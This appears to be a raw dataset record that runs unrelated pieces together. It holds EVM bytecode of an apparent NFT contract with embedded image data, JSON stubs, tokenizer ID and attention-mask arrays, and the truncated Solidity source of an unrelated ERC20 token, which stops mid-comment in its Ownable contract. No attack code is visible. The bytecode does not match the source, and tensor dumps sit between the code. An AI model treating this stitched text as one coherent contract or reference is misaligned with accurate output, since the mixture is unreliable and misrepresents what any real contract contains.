56500000000000000000000000000000000000000000000008152509050610adb565b60058214156108f0576040518060400160405280600681526020017f506f6c69636500000000000000000000000000000000000000000000000000008152509050610adb565b6006821415610936576040518060400160405280600481526020017f53756974000000000000000000000000000000000000000000000000000000008152509050610adb565b600782141561097c576040518060400160405280600a81526020017f4c756d6265726a61636b000000000000000000000000000000000000000000008152509050610adb565b60088214156109c2576040518060400160405280600681526020017f4b6e6967687400000000000000000000000000000000000000000000000000008152509050610adb565b6009821415610a08576040518060400160405280600b81526020017f53686f72742046616e63790000000000000000000000000000000000000000008152509050610adb565b600a821415610a4e576040518060400160405280600a81526020017f4c6f6e672046616e6379000000000000000000000000000000000000000000008152509050610adb565b600b821415610a94576040518060400160405280600981526020017f417374726f6e61757400000000000000000000000000000000000000000000008152509050610adb565b600c821415610ada576040518060400160405280600681526020017f436f77626f7900000000000000000000000000000000000000000000000000008152509050610adb565b5b919050565b6040518060e0016040528060a4815260200161297960a4913981565b60405180610120016040528060e8815260200161208160e8913981565b6040518060e0016040528060a88152602001611bd960a8913981565b60405180610120016040528060e8815260200161235560e8913981565b604051806101800160405280610144815260200161190d610144913981565b6060610bb383836040518060400160405280600c81526020017f46524f4e545f41524d4f525f0000000000000000000000000000000000000000815250610d15565b905092915050565b604051806101a001604052806101808152602001612a1d610180913981565b6060610bf6838360405180602001604052806000815250610d15565b905092915050565b6040518060e0016040528060a8815260200161216960a8913981565b60405180610120016040528060fc8152602001612f1160fc913981565b6060610c7983836040518060400160405280600681526020017f46524f4e545f0000000000000000000000000000000000000000000000000000815250610d15565b905092915050565b60405180610120016040528060f48152602001612d4d60f4913981565b60405180610100016040528060cc8152602001611eb560cc913981565b6040518060e0016040528060bc8152602001611b1d60bc913981565b6040518061018001604052806101448152602001612211610144913981565b604051806101c001604052806101988152602001612531610198913981565b60606000841415610d37576040518060200160405280600081525090506110ec565b6001841415610d8657610d7f826040518060400160405280600b81526020017f53484f52545f424c41434b0000000000000000000000000000000000000000008152506110f3565b90506110ec565b6002841415610dd557610dce826040518060400160405280600a81526020017f4c4f4e475f424c41434b000000000000000000000000000000000000000000008152506110f3565b90506110ec565b6003841415610e2457610e1d826040518060400160405280600a81526020017f53484f52545f424c5545000000000000000000000000000000000000000000008152506110f3565b90506110ec565b6004841415610e7357610e6c826040518060400160405280600981526020017f4c4f4e475f424c554500000000000000000000000000000000000000000000008152506110f3565b90506110ec565b6005841415610ec257610ebb826040518060400160405280600681526020017f504f4c49434500000000000000000000000000000000000000000000000000008152506110f3565b90506110ec565b6006841415610f1157610f0a826040518060400160405280600481526020017f53554954000000000000000000000000000000000000000000000000000000008152506110f3565b90506110ec565b6007841415610f6057610f59826040518060400160405280600a81526020017f4c554d4245524a41434b000000000000000000000000000000000000000000008152506110f3565b90506110ec565b6008841415610faf57610fa8826040518060400160405280600681526020017f4b4e4947485400000000000000000000000000000000000000000000000000008152506110f3565b90506110ec565b6009841415610ffe57610ff7826040518060400160405280600b81526020017f53484f52545f46414e43590000000000000000000000000000000000000000008152506110f3565b90506110ec565b600a84141561104d57611046826040518060400160405280600a81526020017f4c4f4e475f46414e4359000000000000000000000000000000000000000000008152506110f3565b90506110ec565b600b84141561109c57611095826040518060400160405280600981526020017f415354524f4e41555400000000000000000000000000000000000000000000008152506110f3565b90506110ec565b600c8414156110eb576110e4826040518060400160405280600681526020017f434f57424f5900000000000000000000000000000000000000000000000000008152506110f3565b90506110ec565b5b9392505050565b60606000838360405160200161110a929190611484565b604051602081830303815290604052604051602401611128906114d5565b60405160208183030381529060405290604051611145919061146d565b60405180910390207bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19166020820180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff838183161783525050505090506000803073ffffffffffffffffffffffffffffffffffffffff16836040516111c49190611456565b600060405180830381855afa9150503d80600081146111ff576040519150601f19603f3d011682016040523d82523d6000602084013e611204565b606091505b5091509150816112235760405180602001604052806000815250611238565b8080602001905181019061123791906112c0565b5b935050505092915050565b600061125661125184611535565b611510565b90508281526020810184848401111561126e57600080fd5b6112798482856115ad565b509392505050565b600082601f83011261129257600080fd5b81516112a2848260208601611243565b91505092915050565b6000813590506112ba81611755565b92915050565b6000602082840312156112d257600080fd5b600082015167ffffffffffffffff8111156112ec57600080fd5b6112f884828501611281565b91505092915050565b60006020828403121561131357600080fd5b6000611321848285016112ab565b91505092915050565b6000806040838503121561133d57600080fd5b600061134b858286016112ab565b925050602061135c858286016112ab565b9150509250929050565b600061137182611566565b61137b818561157c565b935061138b8185602086016115ad565b80840191505092915050565b60006113a282611571565b6113ac8185611587565b93506113bc8185602086016115ad565b6113c581611718565b840191505092915050565b60006113db82611571565b6113e58185611598565b93506113f58185602086016115ad565b80840191505092915050565b600061140e600283611598565b915061141982611729565b600282019050919050565b6000611431600083611587565b915061143c82611752565b600082019050919050565b611450816115a3565b82525050565b60006114628284611366565b915081905092915050565b600061147982846113d0565b915081905092915050565b600061149082856113d0565b915061149c82846113d0565b91506114a782611401565b91508190509392505050565b600060208201905081810360008301526114cd8184611397565b905092915050565b600060208201905081810360008301526114ee81611424565b9050919050565b600060208201905061150a6000830184611447565b92915050565b600061151a61152b565b905061152682826115e0565b919050565b6000604051905090565b600067ffffffffffffffff8211156115505761154f6116e9565b5b61155982611718565b9050602081019050919050565b600081519050919050565b600081519050919050565b600081905092915050565b600082825260208201905092915050565b600081905092915050565b6000819050919050565b60005b838110156115cb5780820151818401526020810190506115b0565b838111156115da576000848401525b50505050565b6115e982611718565b810181811067ffffffffffffffff82111715611608576116076116e9565b5b80604052505050565b600061161c826115a3565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82141561164f5761164e61168b565b5b600182019050919050565b6000611665826115a3565b9150611670836115a3565b9250826116805761167f6116ba565b5b828206905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6000601f19601f8301169050919050565b7f2829000000000000000000000000000000000000000000000000000000000000600082015250565b50565b61175e816115a3565b811461176957600080fd5b5056fe6956424f5277304b47676f414141414e5355684555674141414541414141424142414d414141425952327a74414141414731424d564556507375653541414257563156766357352f6758362b7762334c7a73726d364f587939504848744b6e554141414141585253546c4d41514f62595a674141414d744a52454655534d66746c4c454e4179454d525738466d677741477741626343736370453242594147385154783337437354325a5a5338796c35387632547854754f6e5a32767847414177514a38744142745175323158316674496a44664451644f4549474241795a4f6c414759393145364442696f644844753457703354675461716e314357316f482f6774554f3954653541363535464a4b4b694a41642f6b6b536c36313979456c632b45374f333934496c6f61434e36616f414873434436794a3243754a37307847634262424b694a42466b45796966346a536f64794245763578525073475861556a7a42425165596e716a79684a7a5a46446e4a6e6a6a7056764d454f594a4d3862767744326535524a6f37686c5a684141414141456c46546b5375516d43436956424f5277304b47676f414141414e5355684555674141414541414141424142414d414141425952327a74414141414431424d56455541414141554d4751664f585165526f636654614b31507269584141414141585253546c4d41514f62595a674141414a464a52454655534d66746c4d45524179454d413638464d4133596f67454c476a6a752b713870464244376d7a7a5968313837476a4f41727574772b444e4b31564c3243415851464253476768474532784d4b736a7137413746414c456d4675784e335937496b5650794e452f71414e70635a437455322b366a6e5252774f58337169574e3031596146414e59504259384872776b4c387734624b7770306b444b30556e306c586157507a6d536330663349426a7268705274486464385966584d45485a4f495661773931795a6f41414141415355564f524b35435949493d6956424f5277304b47676f414141414e5355684555674141414241414141416742414d4141414470702b582f414141414431424d56455541414141664f5851554d475165526f636654614a696937724d4141414141585253546c4d41514f62595a67414141445a4a52454655474e4e6a594269535145684a5542484d454251534641517a684130564863454d45554e6c43455059556445514b7149435951674c4b6149784241574644504661424141787251534f63784c642b6741414141424a52553545726b4a6767673d3d6956424f5277304b47676f414141414e5355684555674141414241414141416742414d4141414470702b582f414141414431424d564555414141415947526356466851634852736749522f495a34536b4141414141585253546c4d41514f62595a6741414143784a52454655474e4e6a594269535145684a57426e4d454251534641517a524277564861454d46556463496b4b4b61417842515346487642594241464673425263574f7649684141414141456c46546b5375516d43436956424f5277304b47676f414141414e5355684555674141414241414141416741674d414141426d35784266414141414446424d56455541414144546578624f6642546367684d73644b765a4141414141585253546c4d41514f62595a6741414142354a52454655434e646a594b4148794b6f47456d4768514b4a324c6f6a5943324f567a6957674577414c59415952465a4252325141414141424a52553545726b4a6767673d3d6956424f5277304b47676f414141414e5355684555674141414541414141424142414d414141425952327a74414141414656424d564555414141414b4668384f48697777484173344967595a4b445a4f4d524f4d4d7534454141414141585253546c4d41514f62595a674141414a644a52454655534d66746c4d454a6744414d525632686851365151445a7741347633424e7841334838456b36765148775339395a65636650796b3250786c6d5a7036714b384a73505666485170565971356c43506848457a353443496a4659554d4143794f416f6f576b67474c41477078427651674134514142775332753639796a786a2b716232765566505254722f567a444b514f7a4d574663734b6142776c636f4f594c6442427753465977576b51514a4542564e454d3461444a6b3470414263517639506964754d437372554e4c5436446741414141415355564f524b35435949493d6956424f5277304b47676f414141414e5355684555674141414241414141416742414d4141414470702b582f41414141456c424d564555414141414c4a6b49494b556f4748444e4b4f51677a4a776133705932394141414141585253546c4d41514f62595a67414141454e4a52454655474e50567931454e414341495256457167416d41424741466145442f4c473667495878665a33753741462b4f6d506a434230496d445554446766714132616c686575477632672b36624b3749696b5a574673414255456348686b6f7a49666741414141415355564f524b35435949493d6956424f5277304b47676f414141414e5355684555674141414241414141416742414d4141414470702b582f414141414431424d56455541414144546578624f6642546267524c6668426666636f414f4141414141585253546c4d41514f62595a67414141445a4a52454655474e4e6a594269535145684a57426e4d454251534641517a684130564863454d45554e6c43455059556445514b7149435951674c4b61497842415746445046614241417a527753532f376d49766741414141424a52553545726b4a6767673d3d6956424f5277304b47676f414141414e5355684555674141414241414141416742414d4141414470702b582f41414141486c424d56455541414141344a776f57494659554a574d54483034794977736b46775a764e78474a51424a5a4b6764385148632b4141414141585253546c4d41514f62595a6741414145394a52454655474e4e6a59426953514d6a453252584d43465a324d514d7a416f32645263454d555748484d4442445544515277676756545952496859576d516b525351314d447759794b69756b6459455a372b3478324d4b4f3866486f356d4446526371496b41774d41727263506562477a654f4d41414141415355564f524b35435949493d6956424f5277304b47676f414141414e5355684555674141414241414141416742414d4141414470702b582f414141414656424d56455541414141525357554156486f49525742694d513967515368695a4748587a4647624141414141585253546c4d41514f62595a67414141455a4a52454655474e4e6a594269535146444a5342444d4d4651304567597a6841794e4643454d51554f49694b47776f544745495168544932796f434a4f436942675a47697544476134687269466742704232425450635574785347426741654f4949716c325131464541414141415355564f524b35435949493d6956424f5277304b47676f414141414e5355684555674141414241414141416741674d414141426d35784266414141414446424d56455541414141654f5851554d47516653497956754751504141414141585253546c4d41514f62595a6741414142354a52454655434e646a594b414879496f45456d4768514b4a324c6f6a5943325046546957674577442f707758504d63612f347741414141424a52553545726b4a6767673d3d6956424f5277304b47676f414141414e5355684555674141414541414141424142414d414141425952327a74414141414431424d5645567a4c576e4f664254546578626267524c6668426445423378554141414141585253546c4d41514f62595a674141414a464a52454655534d66746c4d45524179454d413638464d4133596f67454c476a6a752b713870464244376d7a7a5968313837476a4f41727574772b444e4b31564c3243415851464253476768474532784d4b736a7137413746414c456d4675784e335937496b5650794e452f71414e70635a437455322b366a6e5252774f5833716951485a4e574368517a574477575043367342442f734b47796343634a517976465a394a563274683835676e4e6e31794149323661555854336e664548562f41425a2b4d56625638482b686f41414141415355564f524b35435949493d6956424f5277304b47676f414141414e5355684555674141414241414141416742414d4141414470702b582f414141414731424d564555414141432b7762334c7a73726d364f587939504735414142766357352f675835575631584d31397a634141414141585253546c4d41514f62595a6741414144394a52454655474e4e6a59426953514568525342484d45485a534d51517a6c4932556a63414d46534e6c4a3153526f4e4251565652644b6b34716147725379394c4c774177676e51356d644c526c644441774141445959677550647665586c7741414141424a52553545726b4a6767673d3d6956424f5277304b47676f414141414e5355684555674141414541414141424141674d414141445842356c4e414141414446424d564556795a584d554d4751654f58516653497877475752324141414141585253546c4d41514f62595a6741414146684a524546554f4d746a594267465641646855304d7a555154327264785868794b7762742f653953674364667632376b595471455556794679334d6d38306149634e434630574e677446344f577158587452424e376d3764754a4976437a62692b71697039357454395242465a6d3562366b727a634156504d65655544764e303841414141415355564f524b35435949493d6956424f5277304b47676f414141414e5355684555674141414541414141424142414d414141425952327a7441414141486c424d56455541414141324e6a5a4b536b70786358475a6d5a6d7a73375041774d444e7a6333613274726e352b6469664e54444141414141585253546c4d41514f62595a674141414d424a52454655534d66746c44454f776a414d52587546656d4a31574a674a34674a594652646f45426449303731713641684452433651394c68515270444e694a44793536636e57557065565a575676513377743841305757396463434c675845774359425a67356f4668416134624669445374434d692f6f4b2b505145676677644f356f494977427447593257444e3134322b4b595444567072706656327a514a3144616755596e6e305a582f58695742545446626f5241686a7a4c6d664a63446e4843566750787a767478586669594d6d6b6a7142324a36542b496e427843786d4149337476686d38624767364c786c656d5a41366f525467737855666867632f4e546b3177323969655141414141424a52553545726b4a6767673d3d6956424f5277304b47676f414141414e5355684555674141414541414141424142414d414141425952327a74414141414656424d56455541414142694d513849525741525357554156487067515368695a47456f56416b4a4141414141585253546c4d41514f62595a674141414c464a52454655534d66746c4c454e5179454d5250384b464751417a6850595441425a674f49506b503258694e31473871456f5451714f6b69664f674f3675362b6a6f51365673674c702b42616946445873326e534d4632734473436b3042735135784b4c6651626c444a54384341676c6c67777341735a4d53496b7438696a686346753662414746425858615751782f623965742b726b6e39347645725a66766a5230662f31424a70456949316b5646516153626b4d6d643432504b4f5263776134416173697a336858626a4639447474556b6651634d472b4b526d61496a6f69564174455273623775695463743369522b334d7248305141414141424a52553545726b4a6767673d3d6956424f5277304b47676f414141414e5355684555674141414541414141424142414d414141425952327a74414141414431424d5645567a4c576b5646685159475263634852736749522f545755304a4141414141585253546c4d41514f62595a6741414149684a52454655534d66746c4c454e42444549424e304366687141707845512f646630363473504c727750324d434a52797373323750575a504a6e6f53314557457241517357436f7751304c4d773153344176774b7746754158384e44517a59467659733236775041445851323546634e5235455a504a6a53666f2b34456d744152435645334e613844334555483977314c34654d4962594d4d543262674b4451416547336f414d39536d53524b6351754f464b2f674245536759566e6e7635524941414141415355564f524b35435949493d6956424f5277304b47676f414141414e5355684555674141414241414141416741674d414141426d35784266414141414446424d564555414141415847425963485273664952387269535a534141414141585253546c4d41514f62595a6741414142314a52454655434e646a594b414843453044456146416f6a5957524e5443574c477842485143414e6356424d347257564e534141414141456c46546b5375516d43436956424f5277304b47676f414141414e5355684555674141414541414141424142414d414141425952327a7441414141456c424d564555414141414748444d4c4a6b49494b556f7a4a775a4b4f51696c66664c774141414141585253546c4d41514f62595a674141414c784a52454655534d66746c4e454e42434549524b38466f414b67416f5957334137572f6c7335396e63542b4c31634976365a63564469764d2f6e314b6c5872665662516162447964414b414165375753735154576356627756577030556c57774772425a523742336241776d69344177656e61653851676c7139494a3271422f647a434970364b4e4577356e337666643274594f2f375775752b7a71632f395865636f4d4a4173614c48414654674f6b56514f5248416b464532746f774241324c6c307263514536385144796b76546d6d694633687851743169674a6d417971536651786174614b42644d574b764e584469596354446976662b463171474935392b627344684141414141456c46546b5375516d43436956424f5277304b47676f414141414e5355684555674141414541414141424142414d414141425952327a74414141414956424d564555414141416b467759544830345749465979497773554a574d344a77705a4b6764764e78474a51424c2b3151434e314179384141414141585253546c4d41514f62595a674141414e424a52454655534d66746c45454b776a41515258754651756742524e314c47506542616659323541534e39675a7439514a4e6270413567646330626f575a67694334364e2f6d38536468794b75714c56732b4d6b307277446a384650436e76744d6c4c4f4471467343443434484765756342574d436f634558456d6d3951742b43644d45496244504964676b476e675838466e52555355574b4253436c527a4a45485973367868415765382f74346d5956566a384d30725335387935592f39415163396e306e2f44414875347346376153475945466f7750706f724558464e2b6a4749486a4245373470497a5376496e444b6c44767751435a6c57386b544b633945785157434a2b36794a324b63342f4c3477684d765638744c48312b64592b4141414141415355564f524b35435949493d6956424f5277304b47676f414141414e5355684555674141414541414141424141674d414141445842356c4e414141414446424d56455668596d7a4f664254546578626367684d37565068784141414141585253546c4d41514f62595a6741414146684a524546554f4d746a594267465641646855304d7a555154327264785868794b7762742f653953674364667632376b595471455556714e79314d3273306149634e434e30654e677446344f577158587452424e376d3764754a4976437a62692b7169703935745439524248626d5a62366c727a6341306b6b6578684a4d584a4541414141415355564f524b35435949493d6956424f5277304b47676f414141414e5355684555674141414241414141416742414d4141414470702b582f414141414656424d564555414141414b4668384f4869775a4b445a4f4d524d344967597748417454506244314141414141585253546c4d41514f62595a6741414144564a52454655474e4e6a5942695351456852554244434d424a5742444f556a59534e4941776c49534e554b55794773714777455137747269477549574247574770594b674d4441456c594236796d78444f644141414141456c46546b5375516d43436956424f5277304b47676f414141414e53556845556741414142414141414167434141414141412b3471635141414141416e5253546c4d41414861547a546741414142325355524256436a503763327844634a51454950686a3043466441506b4c5541475947515751505152417a42414d6742585166556b3642424e45686941456a636e32662f5a2f505672726541736c4c464569325a4f63726f4e564644544e3348674168766f64527937542b6d4a6b757a626d5241526f6c6865714858656d5978516c566857557055794632495952757a41476c355074386632506c37784276613448517362534d2b6b4141414141456c46546b5375516d43436956424f5277304b47676f414141414e5355684555674141414541414141424141674d414141445842356c4e414141414446424d5645566c4c576358474259634852736649522f6c532b43544141414141585253546c4d41514f62595a6741414145394a524546554f4d746a59426746564165685149416955427461573473694546746247342b716f72613248453067466c57674e42624e30464577704e4e49476c7030586730745255306a64324e72533145457674616970614b76736256665551324e6a61567a47674541394a495755484f3738745941414141415355564f524b35435949493da2646970667358221220b1b459c8bc27358d2854e85109c8fd4e5d9e85eeaa301a60fe3def883dcb6b2a64736f6c63430008040033
{"success": true, "error": null, "results": {}}
true
null
{}
[ 101, 1014, 2595, 2683, 2581, 2581, 2683, 2050, 2692, 2278, 2620, 2546, 18939, 26224, 22610, 2063, 2575, 21486, 16409, 2497, 28154, 2683, 2497, 2683, 22022, 3540, 2581, 29097, 17788, 22610, 2475, 2497, 1013, 1013, 23772, 2595, 1011, 6105, 1011, 8909, 4765, 18095, 1024, 10210, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1022, 1012, 1014, 1025, 12324, 1000, 1012, 1013, 18275, 1012, 14017, 1000, 1025, 3206, 6471, 2003, 18275, 1063, 1013, 1013, 3096, 3193, 1013, 1013, 2460, 6471, 5164, 2270, 5377, 2460, 1035, 11281, 1027, 1000, 100, 1013, 1041, 2683, 28745, 19797, 2546, 2615, 22907, 4801, 2102, 4160, 13765, 2615, 4160, 4890, 2487, 2213, 2475, 2015, 2692, 4886, 2278, 12273, 2078, 2692, 13159, 24475, 2549, 5004, 4160, 20348, 16344, 24700, 2581, 2213, 2581, 8566, 4478, 25465, 2480, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,844
0x9779eb3f303268c9c6464ed62cf927496bbfef56
/** *Submitted for verification at Etherscan.io on 2021-12-18 */ // website: https://minivolt.net // SPDX-License-Identifier: Unlicensed pragma solidity ^0.8.9; interface IERC20 { function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } abstract contract Context { //function _msgSender() internal view virtual returns (address payable) { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // According to EIP-1052, 0x0 is the value returned for not-yet created accounts // and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned // for accounts without code, i.e. `keccak256('')` bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash := extcodehash(account) } return (codehash != accountHash && codehash != 0x0); } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain`call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); return _functionCallWithValue(target, data, value, errorMessage); } function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) { require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: weiValue }(data); if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ contract Ownable is Context { address private _owner; address private _previousOwner; uint256 private _lockTime; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } /** * @dev Returns the address of the current owner. */ function owner() public view returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * @dev Transfers 